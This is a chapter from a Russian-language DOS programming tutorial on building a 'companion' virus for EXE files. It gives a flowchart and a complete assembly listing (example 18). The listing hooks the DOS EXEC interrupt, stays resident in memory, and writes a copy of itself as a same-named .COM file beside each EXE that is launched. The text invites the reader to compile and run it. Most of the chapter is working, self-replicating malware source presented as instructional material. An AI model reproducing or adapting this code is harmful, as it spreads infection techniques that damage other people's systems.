гл.11   СОЗДАНИЕ ПРИМИТИВНЕЙШЕГО ВИРУСА-СПУТНИКА ДЛЯ ЕХЕ-ФАЙЛОВ
    (чисто для закрепления материала; здесь почти нет ничего нового)
============================================================================
     Очень короткая глава. Все очень-очень легко.
     Предположим у  Вас существует два  файла с одинаковым именем, но разными
расширениями ЕХЕ- и СОМ-. Например  tetris.com  и tetris.exe. И Вы набрали  в
командной строке просто tetris --  без  расширения; -- какой из файлов  будет
запущен? Оказываемся tetris.com.
     Благодаря этой особенности возможно создание особого  класса вирусов, --
вирусов-спутников. Вирусы-спутники -- самые безвредные вирусы, ибо они СОВЕР-
ШЕННО не изменяют заражаемый файл. Все очень просто:  обнаружив ЕХЕ-файл, ви-
рус создает одноименный файл с расширением .СОМ и записывает туда свой код. В
следующий раз если  "зараженный" ЕХЕ-файл будет запущен без указания расшире-
ния, то на самом деле запустится вирус. Вирус, сделав то, что ему предписано,
в свою очередь, запустит ЕХЕ-файл.
     Вот какой может быть блок/схема такого вируса:
                             -----------------------¬
     ------------------------+ JMP to_initialization¦
     ¦                       L-----------------------
     ¦
     ¦                         _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_
     ¦     INT 21h   ------------------------------------------¬
     ¦        ¦      ¦    а функция ли это N 4Bh? если нет --  ¦
     ¦        L----->¦    сваливаем на IRET-----------------------¬
     ¦               L------------------T-----------------------  ¦
     ¦               -------------------+----------------------¬  ¦
     ¦               ¦перетащить имя запускаемой программы     ¦  ¦
     ¦               ¦в буфер                                  ¦  ¦
     ¦               L------------------T-----------------------  ¦
     ¦               -------------------+----------------------¬  ¦
     ¦               ¦поиск такого же файла но с расшир-ем .СОМ¦  ¦
     ¦               ¦(если он существует -- прекращаем работу---->
     ¦               L------------------T-----------------------  ¦
     ¦               -------------------+----------------------¬  ¦
     ¦               ¦если файла нет - создать его и записать в¦  ¦
     ¦               ¦него свой код                            ¦  ¦
     ¦               L------------------T-----------------------  ¦
     ¦               -------------------+----------------------¬  ¦
     ¦               ¦  закрыть файл                           ¦  ¦
     ¦               L------------T--------------T--------------  ¦
     ¦                            ¦    IRET      ¦<----------------
     ¦                            L---------------
     ¦
     ¦               ------------------------------------------¬
     L-------------->¦сажаем резидент в МСВ-блок               ¦
                     L------------------T-----------------------
                     -------------------+----------------------¬
                     ¦запускаем "зараженный" ЕХЕ-файл          ¦
                     L------------------------------------------
     В программе, реализующей эту блок/схему будет использована функция EXEC.
Если вирус  обнаруживает, что  у него есть абсолютный тезка,  - он не создает
СОМ-файл, иначе это может привести к потере исходной СОМ-программы (совсем не
обязательно это должна быть копия вируса, уже заразившая ЕХЕ-файл).
     Похоже что нижеприведенная программа в коментариях не нуждается:
      -----------------------------------------------------------¬
      ¦                         пример 18                        ¦:
      L-----------------------------------------------------------
TITLE   Это - COM. программа N18 -- наипримитивнейший вирус-спутник
ASSUME        CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment   SEGMENT PARA
              ORG(100h)
Start:
MainProcedure PROC NEAR
              ;
              ;
my_head:      JMP initial
              ;
              ;
f_number:     DW 0                  ;----данные-----------------------¬
              ;                     ;                                 ¦
              ;                     ;хранилище для адреса стандартного¦
saved_int21:  DD 0                  ;  обработчика прерывания 13      ¦
              ;                     ;  (2 слова)                      ¦
              ;                     ;                                 ¦
              ;                     ;блок параметров EXEC процесса --¬¦
exec_EPB      DW  0                 ;  сегментный адрес строки вызовদ
              DW  80h               ;-Tуказатель на командн. строку  ¦¦
              DW  0                 ;--  в PSP PSP:80h               ¦¦
              DW  5Ch               ;-Tуказатель на блок FCB1        ¦¦
              DW  0                 ;--  в PSP PSP:5Ch               ¦¦
              DW  6Ch               ;-Tуказатель на блок FCB2        ¦¦
              DW  0                 ;--  в PSP PSP:6Ch ---------------¦
              ;                     ;----------------------------------
              ;
              ;------процедура обработки прерывания 21h, функция 4Bh--¬
              ;L----------------------------------------------(EXEC)---
int21_treater:CMP   AH,4Bh
              JE    begin
              JMP   retro
begin:        PUSH  AX
              PUSH  BX
              PUSH  CX
              PUSH  DX
              PUSH  DS
              PUSH  ES
              PUSH  DI
              PUSH  SI
              ;------пересылка имени запускаемого ЕХЕ-файла в буфер---¬
              ;L--------------------(имя передается в DS:DX (ASCIIZ))--
              MOV   DI,DX
              XOR   SI,SI
again:        MOV   AL,byte ptr DS:[DI]
              MOV   byte ptr CS:[SI+buffer-100h    ],AL
              MOV   byte ptr CS:[SI+buffer-100h+30h],AL ;дублирование
              INC   DI                                  ;имени в буфе-
              INC   SI                                  ;ре
              CMP   AL,0
              JNE   again
              ;
              ;
              ;------смотрим, -- ЕХЕ- ли это, и если да -- заменяем---¬
              ;L----в буфере расширение второй копии имени на СОМ------
              CMP   word ptr CS:[SI+buffer-3-100h],4D4Fh
              JE    not_exe
              CMP   word ptr CS:[SI+buffer-5-100h],432Eh
              JE    not_exe
              MOV   word ptr CS:[SI+buffer-3-100h+30h],4D4Fh
              MOV   byte ptr CS:[SI+buffer-4-100h+30h],43h
              ;
              ;
              ;------смотрим, -- есть ли уже такой файл (с расширением¬
              ;L-СОМ- и если да -- прекращаем работу-------------------
              PUSH  CS
              POP   DS
              MOV   AH,4Eh
              MOV   DX,OFFSET buffer - 100h + 30h
              MOV   CX,0
              CALL  call_int21
              JNC   not_exe
              ;
              ;
              ;------создать файл-------------------------------------¬
               L-------------------------------------------------------
              MOV   DX,OFFSET buffer - 100h + 30h ;имя.СОМ из буфера
              MOV   CX,0                          ;нормальный атрибут
              MOV   AH,3Ch
              CALL  call_int21
              MOV   word ptr  CS:[f_number-100h],AX
              ;
              ;
              ;------записать в файл свой код-------------------------¬
              ;L-------------------------------------------------------
              PUSH  CS
              POP   ES
              MOV   BX,AX
              MOV   DX,OFFSET my_head-100h    ;ES:[DX] -- буфер записи
              MOV   CX,SI                     ;Tучет длины имени файла
              ADD   CX,my_end - my_head       ;-  в буфере
              MOV   AH,40h
              CALL  call_int21
              ;
              ;
              ;------закрыть файл-------------------------------------¬
              ;L-------------------------------------------------------
              MOV   BX,word ptr CS:[f_number-100h]
              MOV   AH,3Eh
              CALL  call_int21
not_exe:      POP   SI
              POP   DI
              POP   ES
              POP   DS
              POP   DX
              POP   CX
              POP   BX
              POP   AX
retro:        JMP   dword ptr CS:[saved_int21-100h]
              ;
              ;
call_int21:   ;----вызов обработчика прерывания 21h (процедура)----¬
              PUSHF                                                ¦
              CALL  dword ptr CS:[saved_int21-100h]                ¦
              RET                                                  ¦
              ;L----------------------------------------------------
              ;
              ;
              ;
              ;
initial:      ;------проверка наличия резидентной копии в памяти---¬
              ;L----------------------------------------------------
              MOV  AX,40h
              MOV  ES,AX
              CMP  byte ptr ES:[134h],55h
              JE   no_tsr                  ;если копия есть - то не
              MOV  byte ptr ES:[134h],55h  ;  создавать ее
              ;
              ;
              ;------создание резидентной копии в памяти-----------¬
              ;L----------------------------------------------------
              MOV  AX,CS:[02]              ;берем вершину свободной памяти
              ;                            ; (в параграфах)
              ;
              SUB  AX,30h                  ;уменьшаем ее на 20h (в парагр.)
              ;
              MOV  SI,OFFSET my_head       ;копируем из источника DS:head
              MOV  ES,AX                   ;копируем в приемник ES:00; в ES
              XOR  DI,DI                   ;  - новая вершина  своб. памяти
              MOV  CX,my_end - my_head
              CLD
              REPE MOVSB
              ;
              MOV  BX,DS
              DEC  BX
              MOV  DS,BX                   ;уменьшаем размер МСВ-блока
              SUB  word ptr DS:[03h],30h   ;уменьшаем вершину свободной
              SUB  word ptr DS:[12h],30h   ;  памяти
              ;
              XOR  BX,BX                   ; сохраняем старый вектор
              MOV  DS,BX                   ;   13h в переслан. копию
              MOV  AX,DS:[21h*4+0]
              MOV  word ptr ES:[saved_int21-100h+0],AX
              MOV  AX,DS:[21h*4+2]
              MOV  word ptr ES:[saved_int21-100h+2],AX
              ;
              CLI                          ;кладем в таблицу векторов наш 13
              MOV  word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFFSET
              MOV  word ptr DS:[21h*4+2],ES  ;------>SEGMENT
              STI
              ;
              ;
no_tsr:       ;------запуск настоящего ЕХЕ-файла (см ранние примеры)
              ;L----------------------------------------------------
              MOV  AX,OFFSET my_end + 200h      ;необходимо позаботиться
              MOV  CX,CS            ;  о стеке (он должен быть перемещен
              CLI                   ;  в охраняемую область, начинающуюся
              MOV  SS,CX            ;  следом за кодом процесса-родителя
              MOV  SP,AX            ;  и не наследуемую дочерним процессом)
              STI
              ;
              MOV  AH,4Ah           ;необходимо дать место дочернему про-
              PUSH CS               ;  цессу (для этого нужно сжать блок
              POP  ES               ;  памяти родителя до граници охраняе-
              MOV  BX,60h           ;  мой области (стек+хранилище SS,ES,
              INT  21h              ;  SP);  ES-сегмент; BX-длина (в па-
              ;                     ;  раграфах) охраняемой области)
              ;
              CLI
              MOV  word ptr CS:[save_arrea+0],SS ;необходимо сохранить
              MOV  word ptr CS:[save_arrea+2],SP ;  значения регистров
              MOV  word ptr CS:[save_arrea+4],ES ;  SS,SP,ES,DS
              MOV  word ptr CS:[save_arrea+6],DS ;
              STI
              ;
              MOV  CX,20h                        ;сохранение DTA----¬
              MOV  SI,80h                        ;                  ¦
              MOV  DI,OFFSET save_arrea + 8      ; DS:SI ---> ES:DI ¦
              CLD                                ;                  ¦
              REPE MOVSB                         ;-------------------
              ;
              ;
              PUSH CS                  ;необходимо заполнить блок параметров
              POP  DS                  ;  запускаемого дочернего процесса
              MOV  AX,CS               ;  (указываем сегмент. адрес PSP
              MOV  exec_EPB+4h,AX      ;  для родительского
              MOV  exec_EPB+8h,AX      ;  процесса)
              MOV  exec_EPB+0Ch,AX     ;
              MOV  DX,OFFSET buffer    ;DS:DX адрес ASCIIZ строки имени
              MOV  BX,OFFSET exec_epb  ;ES:BX адрес блока параметров EPB
              XOR  AL,AL               ;код запуска = 0 (EXECUTE)
              MOV  AH,4Bh
              INT  21h
              ;
              ;
              CLI
              MOV  SS,word ptr CS:[save_arrea+0] ;восстановление
              MOV  SP,word ptr CS:[save_arrea+2] ;  сохраненных
              MOV  ES,word ptr CS:[save_arrea+4] ;  ранее регистров
              MOV  DS,word ptr CS:[save_arrea+6]
              STI
              ;
              MOV  CX,20h                        ;восстановление DTA¬
              MOV  DI,80h                        ;                  ¦
              MOV  SI,OFFSET save_arrea + 8      ; ES:DI ---> DS:SI ¦
              CLD                                ;                  ¦
              REPE MOVSB                         ;-------------------
              ;
              INT  20h                           ;выход в DOS
buffer:       DB   '1.EXE',0
my_end:       ;
save_arrea:   ;
              ;
MainProcedure ENDP
              ;
CodeSegment   ENDS
              END Start
     Если Вы  решите поиграть с этой программой, -  укажите под меткой buffer
имя какого-либо уже существующего файла. Откомпилировав пример 18, Вы полУчи-
те вирус в  виде  "чистой культуры",  не  требующей имплантации в  заражаемый
файл. Его можно запустить как обычную программу. Но учтите, что  здесь описан
упрощенный вариант использвания процедуры EXEC (сегмент  среды наследуется от
родительск. процесса и  т.д.);  поэтому сложные программы, "зараженные" таким
вирусом могут работать не корректно.
Далее
    |